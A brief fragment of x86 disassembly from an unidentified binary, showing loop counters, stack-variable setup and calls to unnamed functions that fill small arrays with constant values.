inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x10036a8e
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10036afb
mov dword [ebp - 0x30], 0x9f3690f1
mov dword [ebp - 0x30], eax
jmp 0x10036af3
mov dword [ebp - 0x48], 0x35c5735e
mov dword [ebp - 0x48], eax
jmp 0x10036aeb
cmp dword [ebp - 0x30], eax
jle 0x10036ab7
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe4
jne 0x10036aab
push 3
pop ebx
mov dword [ebp - 0x38], edi
lea ecx, [ebp - 0xad4]
mov dword [ebp - 0x24], 0xfffffffa
mov dword [ebp - 0x18], edi
push ebx
call fcn.1001855e
xor eax, eax
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10036b4c
push dword [ebp - 0x14]
lea ecx, [ebp - 0xad4]
call fcn.100185ee
mov dword [eax], 6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10036b2e
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10036b6c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1078], 5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10036b54
cmp dword [ebp - 0x24], eax
je 0x10036bb8